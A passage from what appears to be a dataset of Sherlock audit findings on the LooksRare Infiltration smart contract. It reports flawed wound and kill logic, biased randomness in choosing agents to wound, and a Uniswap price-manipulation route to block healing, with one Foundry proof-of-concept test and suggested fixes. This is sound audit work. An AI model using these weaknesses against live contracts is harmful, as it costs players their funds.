}\n```","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//006-M/008.md"}} +{"title":"Re-wounding healed agents within the same round","severity":"major","body":"Jolly Pine Tortoise\n\nmedium\n\n# Re-wounding healed agents within the same round\n## Summary\n\nHealed agents are included in the pool of active users, subjecting them to the risk of being wounded again within the same round. This could result in the squandering of the healing fixed fees paid by users.\n\n## Vulnerability Detail\n\nIn the game, a `heal` function exists to transition a Wounded agent back to an Active status. \n\n Once Healed, an Agent returns to Active status in the next round, and can participate in the normal gameplay rounds again. \n\nthere's a scenario where a user's healed agent could be wounded again in the same round, instead of returning to an Active status. This implies that the LOOK amount expended by the user to heal the agent gets wasted due to the game logic.\n\nWhen a random word is fulfilled in function `fulfillRandomWords`. It first try to heal the agents. The agents that are successfully healed are added into the number of active agents and their status updated to `AgentStatus.Active`.\n\n if (healingAgents != 0) {\n uint256 healedAgents;\n (healedAgents, deadAgentsFromHealing, currentRandomWord) = _healRequestFulfilled(\n currentRoundId,\n currentRoundAgentsAlive,\n currentRandomWord\n );\n unchecked {\n currentRoundAgentsAlive -= deadAgentsFromHealing;\n activeAgents += healedAgents;\n gameInfo.healingAgents = uint16(healingAgents - healedAgents - deadAgentsFromHealing);\n }\n }\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L1115-L1127\n\nPost-healing, `fulfillRandomWords` proceeds to wound random agents by invoking `_woundRequestFulfilled`.\n\n uint256 woundedAgents = _woundRequestFulfilled(\n currentRoundId,\n currentRoundAgentsAlive,\n activeAgents,\n currentRandomWord\n );\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L1130-L1135\n\nIt will loop through the list of active agents. What important is the list includes the active agents that are healed in the previous steps. This lead to the healed agents can be immediately wounded again.\n\n for (uint256 i; i < woundedAgentsCount; ) {\n uint256 woundedAgentIndex = (randomWord % currentRoundAgentsAlive).unsafeAdd(1);\n Agent storage agentToWound = agents[woundedAgentIndex];\n\n if (agentToWound.status == AgentStatus.Active) {\n // This is equivalent to\n // agentToWound.status = AgentStatus.Wounded;\n // agentToWound.woundedAt = roundId;\n assembly {\n let agentSlotValue := sload(agentToWound.slot)\n agentSlotValue := and(\n agentSlotValue,\n // This is equivalent to\n // or(\n // TWO_BYTES_BITMASK,\n // shl(64, TWO_BYTES_BITMASK)\n // )\n 0x00000000000000000000000000000000000000000000ffff000000000000ffff\n )\n // AgentStatus.Wounded is 1\n agentSlotValue := or(agentSlotValue, shl(AGENT__STATUS_OFFSET, 1))\n agentSlotValue := or(agentSlotValue, shl(AGENT__WOUNDED_AT_OFFSET, roundId))\n sstore(agentToWound.slot, agentSlotValue)\n }\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L1422-L1445\n\n## Impact\n\nDue to this logic oversight, healed agents could be re-wounded in the same round, thereby wasting the users' healing fixed fees.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L1115-L1127\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L1422-L1445\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nTo exclude the recently healed agents from the list of active agents prone to being wounded within the same round. This will ensure that healed agents remain active for the next round as intended.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//005-H/070.md"}} +{"title":"Agents can instantly die although the active agents are higher than 50","severity":"major","body":"Quick Silver Stallion\n\nhigh\n\n# Agents can instantly die although the active agents are higher than 50\n## Summary\nWhen alive agents are > 50 the game will keep wounding agents. When the `ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD` round is surpassed the very first rounds wounded agents will be dead and the next round the second rounds wounded will be dead and keeps going as this. However, when an agent is wounded at the current round but also had wounded in the `current round - ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD` can be instantly dead without having a chance to heal his/herself. When the game has > 50 agents healing is possible but this case will break that and the game will not work as it supposed to. \n## Vulnerability Detail\nBest to go is an example so let's do that! \n\nAssume the variable `ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD = 48` note that this constant value is directly taken from the actual test file so I am assuming this value is considered to be used. \n\nSay the game is at the round 49 and the active agent count is 1000 which is more than 50 so the game keeps wounding rather than instant killing phase. Since the rounds to be wounded before dead threshold is over for the round 49, when the next chainlink fulfill call happens there will be some agents wounded at round 49 and also the agents wounded at round (49-48) = 1 will be dead.\n\nNow, say Alice had an agent and she got wounded at round 1 before but she healed herself and now her agent is in ACTIVE mode. When the round 49 processes, Alice agent gets wounded. So, Alice's agent got wounded at round 49 and now since the active agents are more than 50 she still has a chance to heal her agent and keep playing the game. However, as we stated above, since the round is 49 the agents that are wounded at round 1 and still has WOUNDED status will be dead. Remember, Alice also got wounded at round 1 but she healed herself and she got wounded at the current round (49) again. Since the \n```solidity\nuint16[MAXIMUM_HEALING_OR_WOUNDED_AGENTS_PER_ROUND_AND_LENGTH]\n storage woundedAgentIdsInRound = woundedAgentIdsPerRound[1];\n```\nstill has the Alice's agent index and Alice has just got wounded Alice will be killed at the same round 49 although the kill is supposed to kill the agents that has been wounded in the round 1. \n\nLet's check the kill function and see how Alice gots killed in unfortunate way\n```solidity\nfunction _killWoundedAgents(\n uint256 roundId,\n uint256 currentRoundAgentsAlive\n ) private returns (uint256 deadAgentsCount) {\n uint16[MAXIMUM_HEALING_OR_WOUNDED_AGENTS_PER_ROUND_AND_LENGTH]\n storage woundedAgentIdsInRound = woundedAgentIdsPerRound[roundId];\n uint256 woundedAgentIdsCount = woundedAgentIdsInRound[0];\n uint256[] memory woundedAgentIds = new uint256[](woundedAgentIdsCount);\n for (uint256 i; i < woundedAgentIdsCount; ) {\n \n uint256 woundedAgentId = woundedAgentIdsInRound[i.unsafeAdd(1)];\n\n \n uint256 index = agentIndex(woundedAgentId);\n if (agents[index].status == AgentStatus.Wounded) {\n woundedAgentIds[i] = woundedAgentId;\n _swap({\n currentAgentIndex: index, // 198\n lastAgentIndex: currentRoundAgentsAlive - deadAgentsCount, // 199\n agentId: woundedAgentId, // 200\n newStatus: AgentStatus.Dead\n });\n unchecked {\n ++deadAgentsCount;\n }\n }\n\n unchecked {\n ++i;\n }\n }\n\n emit Killed(roundId, woundedAgentIds);\n }\n```\nAs we can see above the function will check the roundId 1 and will spot the Alice index and it will only check whether the Alice has WOUNDED status or not but it will not check which round Alice got wounded. Alice will be immediately killed in the round 49 because she got wounded at round 49 and before she got wounded at round 1 but healed. \n## Impact\nSince this is not an intended behaviour for the game I'll label this as high.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L1129-L1143\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L1477-L1508\n## Tool used\n\nManual Review\n\n\n## Recommendation\nCheck the \"woundedAt\" when killing someone or maybe set the woundedAgentIdsInRound index of the healed account to 0.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//005-H/033.md"}} +{"title":"An agent wounded-healed-wounded during ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD rounds can be unjustly killed","severity":"major","body":"Fun Aegean Halibut\n\nhigh\n\n# An agent wounded-healed-wounded during ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD rounds can be unjustly killed\n## Summary\nWhen an agent is wounded, they have `ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD` rounds to initiate healing, otherwise the contract will mark them as `Dead` during new round.\n\nHowever the contract fails to take in account that an agent can heal and be wounded again before `ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD` has elapsed, and in that case would kill the agent, as if they were never healed.\n\n## Vulnerability Detail\nWe see that the smart contract keeps track of agents which are wounded at some round `R`, with the variable:\n`woundedAgentIdsPerRound[R]`, which is an array of ids.\n\nThis way when initializing a new round in `fulfillRandomness`, the call iterates over the agent ids located at index:\n```solidity\nroundWoundedToKill = currentRound - ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD\n```\nAnd marks as `Dead` any agent which is still in the state `Wounded`.\nHowever if the agent has healed, and been wounded again between `roundWoundedToKill` and `currentRound`, he would be unjustly marked as `Dead`, when he has only been wounded recently.\n\nSee the implementation of `_killWoundedAgents`:\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L1477-L1508\n\n## Impact\nSome agents may be unjustly marked as dead during the game, participants unjustly lose their shot at winning a prize (loss of funds for the participants). \n\n## Code Snippet\n\n## Tool used\n\nManual Review\n\n## Recommendation\nModify `_killWoundedAgents` to check the `woundedAt` variable:\n```diff\nfunction _killWoundedAgents(\n uint256 roundId,\n uint256 currentRoundAgentsAlive\n) private returns (uint256 deadAgentsCount) {\n uint16[MAXIMUM_HEALING_OR_WOUNDED_AGENTS_PER_ROUND_AND_LENGTH]\n storage woundedAgentIdsInRound = woundedAgentIdsPerRound[roundId];\n uint256 woundedAgentIdsCount = woundedAgentIdsInRound[0];\n uint256[] memory woundedAgentIds = new uint256[](woundedAgentIdsCount);\n for (uint256 i; i < woundedAgentIdsCount; ) {\n uint256 woundedAgentId = woundedAgentIdsInRound[i.unsafeAdd(1)];\n\n uint256 index = agentIndex(woundedAgentId);\n \n if (agents[index].status == AgentStatus.Wounded && \n+ //Ensure agents were last wounded at that round, and not healed/rewounded\n+ agents[index].woundedAt == roundId\n ) {\n woundedAgentIds[i] = woundedAgentId;\n _swap({\n currentAgentIndex: index,\n lastAgentIndex: currentRoundAgentsAlive - deadAgentsCount,\n agentId: woundedAgentId,\n newStatus: AgentStatus.Dead\n });\n unchecked {\n ++deadAgentsCount;\n }\n }\n\n unchecked {\n ++i;\n }\n }\n\n emit Killed(roundId, woundedAgentIds);\n}\n```","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//005-H/025.md"}} +{"title":"_killWoundedAgents - re-wounded healed agent die when ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD passed because of not checking woundedAt","severity":"major","body":"Polite Rose Beaver\n\nhigh\n\n# _killWoundedAgents - re-wounded healed agent die when ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD passed because of not checking woundedAt\n## Summary\n\nIf an agent healed is wounded again, the agent will die from the previous wound that was healed. The user spends LOOKS tokens to heal and success to heal, but as the result, the agent will die.\n\n## Vulnerability Detail\n\nThe `_killWoundedAgents` function only checks the status of the agent, not when it was wounded. \n\n```solidity\n function _killWoundedAgents(\n uint256 roundId,\n uint256 currentRoundAgentsAlive\n ) private returns (uint256 deadAgentsCount) {\n ...\n for (uint256 i; i < woundedAgentIdsCount; ) {\n uint256 woundedAgentId = woundedAgentIdsInRound[i.unsafeAdd(1)];\n\n uint256 index = agentIndex(woundedAgentId);\n@> if (agents[index].status == AgentStatus.Wounded) {\n ...\n }\n\n ...\n }\n\n emit Killed(roundId, woundedAgentIds);\n }\n```\n\nSo when `fulfillRandomWords` kills agents that were wounded and unhealed at round `currentRoundId - ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD`, it will also kill the agent who was healed and wounded again after that round.\n\nAlso, since `fulfillRandomWords` first draws the new wounded agents before kills agents, in the worst case scenario, agent could die immediately after being wounded in this round.\n\n```solidity\nif (activeAgents > NUMBER_OF_SECONDARY_PRIZE_POOL_WINNERS) {\n@> uint256 woundedAgents = _woundRequestFulfilled(\n currentRoundId,\n currentRoundAgentsAlive,\n activeAgents,\n currentRandomWord\n );\n\n uint256 deadAgentsFromKilling;\n if (currentRoundId > ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD) {\n@> deadAgentsFromKilling = _killWoundedAgents({\n roundId: currentRoundId.unsafeSubtract(ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD),\n currentRoundAgentsAlive: currentRoundAgentsAlive\n });\n }\n```\n\nThis is the PoC test code. You can add it to the Infiltration.fulfillRandomWords.t.sol file and run it.\n\n```solidity\nfunction test_poc() public {\n\n _startGameAndDrawOneRound();\n\n uint256[] memory randomWords = _randomWords();\n uint256[] memory woundedAgentIds;\n\n for (uint256 roundId = 2; roundId <= ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD + 1; roundId++) {\n\n if(roundId == 2) { // heal agent. only woundedAgentIds[0] dead.\n (woundedAgentIds, ) = infiltration.getRoundInfo({roundId: 1});\n assertEq(woundedAgentIds.length, 20);\n\n _drawXRounds(1);\n\n _heal({roundId: 3, woundedAgentIds: woundedAgentIds});\n\n _startNewRound();\n\n // everyone except woundedAgentIds[0] is healed\n uint256 agentIdThatWasKilled = woundedAgentIds[0];\n\n IInfiltration.HealResult[] memory healResults = new IInfiltration.HealResult[](20);\n for (uint256 i; i < 20; i++) {\n healResults[i].agentId = woundedAgentIds[i];\n\n if (woundedAgentIds[i] == agentIdThatWasKilled) {\n healResults[i].outcome = IInfiltration.HealOutcome.Killed;\n } else {\n healResults[i].outcome = IInfiltration.HealOutcome.Healed;\n }\n }\n\n expectEmitCheckAll();\n emit HealRequestFulfilled(3, healResults);\n\n expectEmitCheckAll();\n emit RoundStarted(4);\n\n randomWords[0] = (69 * 10_000_000_000) + 9_900_000_000; // survival rate 99%, first one gets killed\n\n vm.prank(VRF_COORDINATOR);\n VRFConsumerBaseV2(address(infiltration)).rawFulfillRandomWords(_computeVrfRequestId(3), randomWords);\n\n for (uint256 i; i < woundedAgentIds.length; i++) {\n if (woundedAgentIds[i] != agentIdThatWasKilled) {\n _assertHealedAgent(woundedAgentIds[i]);\n }\n }\n\n roundId += 2; // round 2, 3 used for healing\n }\n\n _startNewRound();\n\n // Just so that each round has different random words\n randomWords[0] += roundId;\n\n if (roundId == ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD + 1) { // wounded agents at round 1 are healed, only woundedAgentIds[0] was dead.\n (uint256[] memory woundedAgentIdsFromRound, ) = infiltration.getRoundInfo({\n roundId: uint40(roundId - ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD)\n });\n\n // find re-wounded agent after healed\n uint256[] memory woundedAfterHeal = new uint256[](woundedAgentIds.length);\n uint256 totalWoundedAfterHeal;\n for (uint256 i; i < woundedAgentIds.length; i ++){\n uint256 index = infiltration.agentIndex(woundedAgentIds[i]);\n IInfiltration.Agent memory agent = infiltration.getAgent(index);\n if (agent.status == IInfiltration.AgentStatus.Wounded) {\n woundedAfterHeal[i] = woundedAgentIds[i]; // re-wounded agent will be killed\n totalWoundedAfterHeal++;\n }\n else{\n woundedAfterHeal[i] = 0; // set not wounded again 0\n }\n\n }\n expectEmitCheckAll();\n emit Killed(roundId - ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD, woundedAfterHeal);\n }\n\n expectEmitCheckAll();\n emit RoundStarted(roundId + 1);\n\n uint256 requestId = _computeVrfRequestId(uint64(roundId));\n vm.prank(VRF_COORDINATOR);\n VRFConsumerBaseV2(address(infiltration)).rawFulfillRandomWords(requestId, randomWords);\n }\n}\n```\n\n## Impact\n\nThe user pays tokens to keep the agent alive, but agent will die even if agent success to healed. The user has lost tokens and is forced out of the game.\n\n## Code Snippet\n\n[https://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L1489](https://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L1489)\n\n[https://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L1130-L1143](https://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L1130-L1143)\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nCheck woundedAt at `_killWoundedAgents` \n\n```diff\n function _killWoundedAgents(\n uint256 roundId,\n uint256 currentRoundAgentsAlive\n ) private returns (uint256 deadAgentsCount) {\n ...\n for (uint256 i; i < woundedAgentIdsCount; ) {\n uint256 woundedAgentId = woundedAgentIdsInRound[i.unsafeAdd(1)];\n\n uint256 index = agentIndex(woundedAgentId);\n- if (agents[index].status == AgentStatus.Wounded) {\n+ if (agents[index].status == AgentStatus.Wounded && agents[index].woundedAt == roundId) {\n ...\n }\n\n ...\n }\n\n emit Killed(roundId, woundedAgentIds);\n }\n```","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//005-H/021-best.md"}} +{"title":"_woundRequestFulfilled is not actually random","severity":"medium","body":"Warm Concrete Mole\n\nmedium\n\n# _woundRequestFulfilled is not actually random\n## Summary\n\n`_woundRequestFulfilled`, which decides which agents are wounded, is not actually fully random even if we assume the VRF to be random. \n\n## Vulnerability Detail\n\nLet's assume the VRF to be random. Then in the following code snippet in `_woundRequestFulfilled`:\n\n```solidity\n for (uint256 i; i < woundedAgentsCount; ) {\n uint256 woundedAgentIndex = (randomWord % currentRoundAgentsAlive).unsafeAdd(1);\n Agent storage agentToWound = agents[woundedAgentIndex];\n\n if (agentToWound.status == AgentStatus.Active) {\n // This is equivalent to\n // agentToWound.status = AgentStatus.Wounded;\n // agentToWound.woundedAt = roundId;\n assembly {\n let agentSlotValue := sload(agentToWound.slot)\n agentSlotValue := and(\n agentSlotValue,\n // This is equivalent to\n // or(\n // TWO_BYTES_BITMASK,\n // shl(64, TWO_BYTES_BITMASK)\n // )\n 0x00000000000000000000000000000000000000000000ffff000000000000ffff\n )\n // AgentStatus.Wounded is 1\n agentSlotValue := or(agentSlotValue, shl(AGENT__STATUS_OFFSET, 1))\n agentSlotValue := or(agentSlotValue, shl(AGENT__WOUNDED_AT_OFFSET, roundId))\n sstore(agentToWound.slot, agentSlotValue)\n }\n\n uint256 woundedAgentId = _agentIndexToId(agentToWound, woundedAgentIndex);\n woundedAgentIds[i] = woundedAgentId;\n\n unchecked {\n ++i;\n currentRoundWoundedAgentIds[i] = uint16(woundedAgentId);\n }\n\n randomWord = _nextRandomWord(randomWord);\n } else {\n // If no agent is wounded using the current random word, increment by 1 and retry.\n // If overflow, it will wrap around to 0.\n unchecked {\n ++randomWord;\n }\n }\n }\n```\n\nNotice that if an agent is not found, `randomWord` is simply incremented until one is found. Now let's say that we have the following agents at the moment, in order of index (A is active, H is healing):\n\nAHHHHHHHHHHHHA\n\nNumber of agents here is 14. \n\nAnd we want to select one agent to wound. The active agent at the end is much, much more likely to get selected than the first agent (in fact, the only way for the first agent to get selected is to get picked directly, which is a 1/14 chance). \n\nThis can lead to strategies where you purposely try to get yourself placed after as few in-active but alive agents as possible (and as a result also attempt to get others placed after a chain of in-active but alive participants). An example is that it's likely advantageous to mint in succession at the beginning rather than staggering mints after other people; because you can trust yourself to keep your own line of agents more active (e.g. by healing more and not escaping) than others will, you will suffer a lower rate of being wounded, which is unfair. \n\n## Impact\n\n`_woundRequestFulfilled` is not actually random in selecting active agents to wound even if we assume the VRF is random, which can lead to weird strategies. \n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L1404-L1468\n\n## Tool used\n\nManual Review\n\n## Recommendation\nRecommend you just keep track of the wounded agents similar to how you keep track of all agents and pick one to wound from there.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//004-M/134.md"}} +{"title":"Index values selected in `_woundRequestFulfilled()` are not uniformly distributed.","severity":"medium","body":"Powerful Golden Bull\n\nmedium\n\n# Index values selected in `_woundRequestFulfilled()` are not uniformly distributed.\n## Summary\nIndex values selected in `_woundRequestFulfilled()` are not uniformly distributed. Indexes right next to wounded agents are more likely to be selected in the subsequent iterations, leading to bias in the distribution of wounded agents.\n\n## Vulnerability Detail\nAt the end of each round, the function `_woundRequestFulfilled()` is called, which uses uses the `randomWord` obtained from the VRF to select which agents should be marked as wounded. This selection process is carried out by performing a modulo operation on the `randomWord` with respect to the number of agents currently alive in the round, and then adding 1 to the result. The resulting value corresponds to the index of the agent to be designated as wounded, as illustrated in the code snippet section.\n\nHowever, if the resulting index corresponds to an agent who is already wounded, the `else` branch is executed, where 1 is added to the `randomWord` for the next iteration of the loop. **This is where the bias is introduced, because in the next iteration, the `woundedAgentIndex` will be the current `woundedAgentIndex` plus 1**. As can be seen below:\n\n$$ (A + 1) \\bmod M $$\n\n$$ ((A \\bmod M) + (1 \\bmod M)) \\bmod M $$\n\nAs M > 1, we can simplify to\n\n$$ ((A \\bmod M) + 1) \\bmod M $$\n\nFor $(A \\bmod M) + 1$ less than $M$, we have \n\n$$ (A + 1) \\bmod M = (A \\bmod M) + 1 $$\n\nSo with the exception of when `randomWord` overflows or (`randomWord` % `currentRoundAgentsAlive` + 1) >= `currentRoundAgentsAlive`, (`randomWord` + 1) % `currentRoundAgentsAlive` will be equal to\n(`randomWord` % `currentRoundAgentsAlive`) + 1.\n\nConsequently, when the `else` branch is triggered, the next `woundedAgentIndex` will be ( previous `woundedAgentIndex`+ 1) from the last loop iteration (besides the two exceptions specified above). Therefore the agent at the next index will also be marked as wounded. As a result of this pattern, **agents whose indexes are immediately next to an already wounded agent are more likely to be wounded than the remaining agents**.\n\nConsider the representative example below, albeit on a smaller scale (8 agents) to facilitate explanation. The initial state is represented in the table below:\n\n| Index | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 |\n|----------------|--------|--------|--------|--------|--------|--------|--------|--------|\n| Agents | Active | Active | Active | Active | Active | Active | Active | Active |\n| Probabilities | 0.125 | 0.125 | 0.125 | 0.125 | 0.125 | 0.125 | 0.125 | 0.125 |\n\nIn the initial iteration of `_woundRequestFulfilled()`, assume that index 2 is selected. As expected from function logic, for the next iteration a new `randomWord` will be generated, resulting in a new index within the range of 1 to 8, all with equal probabilities. However now not all agents have an equal likelihood of being wounded. This disparity arises because both 3 and 2 (due to the `else` branch in the code above) will lead to the agent at index 3 being wounded.\n\n| Index | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 |\n|----------------|--------|---------|--------|--------|--------|--------|--------|--------|\n| Agents | Active | Wounded | Active | Active | Active | Active | Active | Active |\n| Probabilities | 0.125 | - | 0.25 | 0.125 | 0.125 | 0.125 | 0.125 | 0.125 |\n\nNow suppose that agents at index 2 and 3 are wounded. Following from the explanations above, index 4 has three times the chance of being wounded.\n\n| Index | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 |\n|----------------|--------|---------|---------|--------|--------|--------|--------|--------|\n| Agents | Active | Wounded | Wounded | Active | Active | Active | Active | Active |\n| Probabilities | 0.125 | - | - | 0.375 | 0.125 | 0.125 | 0.125 | 0.125 |\n\n## Impact\nThe distribution of wounded status among indexes is not uniform. Indexes subsequent to agents already wounded are more likely to be selected, introducing unfairness in the distribution of wounded agents. \n\nThis is particularly problematic because indexes that are close to each other are more likely to owned by the same address, due to the fact that when minting multiple agents, they are created in sequential indexes. Consequently, if an address has one of its agents marked as wounded, it becomes more probable that additional agents owned by the same address will also be marked as wounded. This creates an unfair situation to users.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L1404-L1468\n\n## Tool used\nManual Review\n\n## Recommendation\nConsider eliminating the `else` and calling `_nextRandomWord(randomWord)` at the end of the loop iteration, so a new `randomWord` is generated each time. As shown in the diff below:\n\n```diff\ndiff --git a/Infiltration.sol b/Infiltration.mod.sol\nindex 31af961..1c43c31 100644\n--- a/Infiltration.sol\n+++ b/Infiltration.mod.sol\n@@ -1451,15 +1451,9 @@ contract Infiltration is\n ++i;\n currentRoundWoundedAgentIds[i] = uint16(woundedAgentId);\n }\n-\n- randomWord = _nextRandomWord(randomWord);\n- } else {\n- // If no agent is wounded using the current random word, increment by 1 and retry.\n- // If overflow, it will wrap around to 0.\n- unchecked {\n- ++randomWord;\n- }\n }\n+\n+ randomWord = _nextRandomWord(randomWord);\n }\n\n currentRoundWoundedAgentIds[0] = uint16(woundedAgentsCount);\n```","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//004-M/084-best.md"}} +{"title":"_woundRequestFulfilled is not a uniform distribution on a population with wounded samples","severity":"medium","body":"Refined Amethyst Pigeon\n\nhigh\n\n# _woundRequestFulfilled is not a uniform distribution on a population with wounded samples\n## Summary\n_woundRequestFulfilled is not a uniform distribution on a population with wounded samples\n\n## Vulnerability Detail\nThe mechanism to cause wound is by the following line: \n\n`uint256 woundedAgentIndex = (randomWord % currentRoundAgentsAlive).unsafeAdd(1);`, \n\nwhere the `currentRoundAgentsAlive` is the number of agents which are still (Active/Wounded). If an already wounded agent is picked based on the random number, then the code would simple increase the randomWord by 1, meaning that by the same modulo, the agent on the next agentId would be picked.\n\n```solidity\nelse {\n // If no agent is wounded using the current random word, increment by 1 and retry.\n // If overflow, it will wrap around to 0.\n unchecked {\n ++randomWord;\n }\n }\n```\n\nThis would give a way for people to game, under certain scenario.\n\nNow consider this, \n\n1. there are 500 agents alive, player A owns agentID 1-30, while player B owns agentID 31-60. \n2. agent 21-30 are wounded; agent 41-50 are also wounded. The rest of agents are all Active.\n3. There would be 1 agent to be wounded (0.2% of 500) in the next round. However, the probability of player A and player B hitting the wound are different now.\n\n=> player A has the probability (20) / 500 = 4%.\n\n=> While for player B, since if the modulo hit on agentID 21 -30, it would ultimately fall on the agentID 31 given the modulo just increment by 1 on each loop. On the same token, his wounded agentID 41-50 would also fall on his Active agent with agentID 51.\nThat means player B would have 40 / 500 = 8% of hitting a wound, twice of that of player A.\n\n## Impact\nThe impact is that 1.) as the game evolves naturally the probability of wound to the population is not even/uniform. 2.) player tend to not heal agent that is marginal/ on the boundary of their holdings, since they can shift the risk to the player next to them in terms of agentID. \n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L1459-L1461\n\n## Tool used\n\nManual Review\n\n## Recommendation\nTreat the hit case similar to the success case, using `_nextRandomWord` to calculate a new hash for having an uniform distribution.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//004-M/078.md"}} +{"title":"Weak randomness in _woundRequestFulfilled can be slightly manipulated","severity":"medium","body":"Fun Aegean Halibut\n\nmedium\n\n# Weak randomness in _woundRequestFulfilled can be slightly manipulated\n## Summary\nWhen the Chainlink VRF provides a random word, the function `_woundRequestFulfilled` is called.\nThis function chooses an agent which is alive at random, and if the agent is `Active`, it marks it as `Wounded`.\nHowever, if the agent is already `Wounded` or `Healing`, the randomWord is modified and another agent is chosen.\n\nThe problem lies in the fact that instead of being changed entirely, `randomWord` is only incremented here. In fact `randomWord` is incremented as many times as needed to find an active agent. \nThis is equivalent to checking sequentially after the first actually randomly chosen agent. This means that active agents which are right after a sequence of healed/wounded agents have more chances to be wounded in a round.\n\n## Vulnerability Detail\nLet's check an extreme example:\n\n### Prerequisites\n- Currently alive agents: 100\n- Alice has 40 agents, ranked from 61 to 100, in the `Wounded` state\n- Bob holds the 1st agent\n\n### Analysis\nAll agents from rankings 2 to 60 have 1% chance to be wounded \nAgent ranked 1 has 40%, because if any Alice's agent is chosen to be wounded, the sequential enumeration wrap around back to agent ranked 1.\n\n## Impact\nSome players with a large number of agents can manipulate the randomness to their advantage and make other users pay more to heal their agents (they are wounded more often).\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L1457-L1462\n\n## Tool used\n\nManual Review\n\n## Recommendation\nuse the function `_nextRandomWord()` here similarly to `_healRequestFulfilled` to choose the next agent to be hit","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//004-M/050.md"}} +{"title":"Prevent Healing of Agents by price manipulation","severity":"medium","body":"Shaggy Emerald Dalmatian\n\nmedium\n\n# Prevent Healing of Agents by price manipulation\n## Summary\n\nA malicious user can prevent healing by manipulating uniswap V3 pool to make heal transactions revert. \nIf the next round would include less then 50 agents, and some people are trying to heal there wounded agents, they will be unfairly killed.\n\n## Vulnerability Detail\n\nA user can submit heal requests to heal his wounded agents, the heal request will calculate the price of the heal and try to swap WETH into LOOKs token.\n```solidity\nIV3SwapRouter.ExactOutputSingleParams memory params = IV3SwapRouter.ExactOutputSingleParams({\n tokenIn: WETH,\n tokenOut: LOOKS,\n fee: POOL_FEE,\n recipient: address(this),\n amountOut: costToHealInLOOKS,\n amountInMaximum: 